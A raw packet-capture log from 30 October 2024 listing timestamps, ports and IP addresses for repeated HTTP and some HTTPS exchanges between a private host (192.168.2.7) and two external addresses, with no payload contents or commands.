Oct 30, 2024 11:46:49.987504959 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.018920898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.018934965 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.018946886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.018959999 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019006968 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.019022942 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.019045115 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019057989 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019071102 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019082069 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019093037 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.019093037 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.019103050 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019115925 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019117117 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.019145966 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.019716978 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019728899 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019740105 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019771099 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.019783974 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.019948959 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019961119 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019975901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.019987106 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.019993067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.020011902 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.020023108 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.020361900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.020405054 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.020436049 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.020482063 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.061871052 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.061882019 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.061892986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.061996937 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.062371016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.062383890 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.062395096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.062452078 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.062522888 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.062571049 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.062617064 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.062629938 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.062640905 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.062665939 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.062695026 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.062942028 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.062954903 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.062966108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.063004017 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.063030005 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.063097000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.063144922 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.063467026 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.063472986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.063478947 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.063479900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.063483000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.063529015 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.064125061 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.064136028 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.064147949 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.064177036 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.064196110 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.103008986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.103030920 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.103055954 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.103069067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.103095055 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.103104115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.103107929 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.103121042 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.103142023 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.103159904 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.134265900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134284973 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134295940 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134377003 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134377956 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.134394884 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134408951 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134422064 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134437084 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134452105 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.134524107 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.134907007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134937048 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134948969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.134968042 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.135040045 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.135386944 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.135433912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.135446072 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.135451078 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.135528088 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.135540962 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.135561943 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.135586023 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.135750055 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.135796070 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.135799885 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.135808945 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.135845900 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.140595913 CET	443	58195	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.140691042 CET	443	58195	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.140791893 CET	58195	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.140994072 CET	58195	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.141014099 CET	443	58195	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.176620960 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.176642895 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.176676035 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.176701069 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177007914 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177048922 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177052975 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177099943 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177131891 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177189112 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177192926 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177238941 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177369118 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177380085 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177390099 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177418947 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177442074 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177499056 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177547932 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177558899 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177561998 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177592039 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177813053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177839994 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177850008 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.177859068 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.177895069 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.178054094 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.178105116 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.178108931 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.178121090 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.178159952 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.178252935 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.178306103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.180690050 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.180741072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.180932999 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.180944920 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.180955887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.180972099 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.180979013 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.180988073 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.181025028 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.218347073 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.218374968 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.218388081 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.218415022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.218442917 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.218702078 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.218755960 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.218759060 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.218770981 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.218806982 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.249747992 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.249814987 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.249829054 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.249830008 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.249845028 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.249859095 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.249860048 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.249891043 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.249932051 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.249963999 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.249975920 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.249989986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250034094 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.250034094 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250047922 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250058889 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.250097990 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.250521898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250549078 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250564098 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250579119 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.250622034 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.250791073 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250840902 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250844002 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.250854015 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250890970 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.250907898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250915051 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.250927925 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.250957966 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.251012087 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.251389980 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.251398087 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.251411915 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.251461029 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.251486063 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.292481899 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292531013 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292538881 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.292543888 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292593956 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.292701960 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292753935 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292767048 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292771101 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.292812109 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.292849064 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292889118 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292903900 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.292932987 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.292946100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292959929 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292979002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.292985916 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.293010950 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.293035984 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.293442965 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.293497086 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.293498039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.293550014 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.293612003 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.293623924 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.293637991 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.293651104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.293675900 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.293705940 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.294023037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.294037104 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.294065952 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.294079065 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.294085979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.294097900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.294109106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.294115067 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.294121981 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.294132948 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.294171095 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.294207096 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.314805984 CET	58196	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.314838886 CET	443	58196	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.314917088 CET	58196	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.315342903 CET	58196	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:50.315355062 CET	443	58196	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:50.333743095 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.333756924 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.333782911 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.333802938 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.333828926 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.333830118 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.333861113 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.333875895 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.333889961 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.333901882 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.334157944 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.365031004 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365071058 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365082979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365098000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365113020 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.365128994 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365140915 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365154028 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.365207911 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.365725994 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365736008 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365748882 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365801096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365813017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365824938 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365835905 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365854979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.365920067 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.365957022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.366141081 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.366156101 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.366163015 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.366168022 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.366198063 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.366257906 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.366415024 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.366465092 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.366481066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.366494894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.366525888 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.366532087 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.366533995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.366559029 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.366614103 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.408021927 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408036947 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408049107 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408137083 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.408149958 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408162117 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408171892 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408247948 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.408292055 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408338070 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.408371925 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408390045 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408416986 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.408440113 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.408482075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408494949 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408505917 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408531904 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.408615112 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.408909082 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408957958 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408970118 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.408971071 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.409006119 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.409075975 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.409130096 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.409142017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.409152985 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.409184933 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.409219027 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.409545898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.409574032 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.409585953 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.409596920 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.409600019 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.409610033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.409677982 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.409717083 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.449120045 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.449134111 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.449146032 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.449176073 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.449187040 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.449203968 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.449248075 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.449306965 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:50.449440956 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:50.449453115 CET	80	58193	185.215.113.16	192.168.2.7
